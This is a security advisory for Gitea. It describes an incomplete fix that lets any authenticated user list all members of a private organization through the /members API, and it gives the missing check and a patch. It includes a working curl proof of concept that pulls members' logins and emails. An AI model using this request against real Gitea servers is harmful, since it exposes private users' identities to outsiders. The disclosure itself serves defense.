GHSA-prr9-9mp4-5gp2
Gitea: Private org member list leaked via /members API endpoint — incomplete fix for PR #38145
Packages
Details
As written in the advisory (Markdown source, shown as plain text).
## Summary
PR #38145 fixed ListPublicMembers and IsPublicMember but missed
ListMembers. Any authenticated user can enumerate ALL members
(not just public ones) of a private organization.
## Affected Versions
<= v1.26.4 (latest) and main branch
## Root Cause
routers/api/v1/org/member.go — ListMembers():
// Missing check:
if !organization.HasOrgOrUserVisible(ctx,
ctx.Org.Organization.AsUser(), ctx.Doer) {
ctx.APIErrorNotFound()
return
}
## Proof of Concept
# Setup: privateorg (private), alice = member, bob = outsider
# Bob lists ALL members of private org
curl -s "http://gitea/api/v1/orgs/privateorg/members" \
-H "Authorization: token BOB_TOKEN"
# Result: HTTP 200
[{"login":"alice","email":"[email protected]",...}]
# Expected: HTTP 404
## Note
This is an incomplete fix variant of PR #38145.
That PR fixed public_members endpoints only.
ListMembers (/orgs/{org}/members) remains unpatched.
## Fix
Add to ListMembers():
if !organization.HasOrgOrUserVisible(ctx,
ctx.Org.Organization.AsUser(), ctx.Doer) {
ctx.APIErrorNotFound()
return
}
References
External links from the advisory. They lead to third-party sites.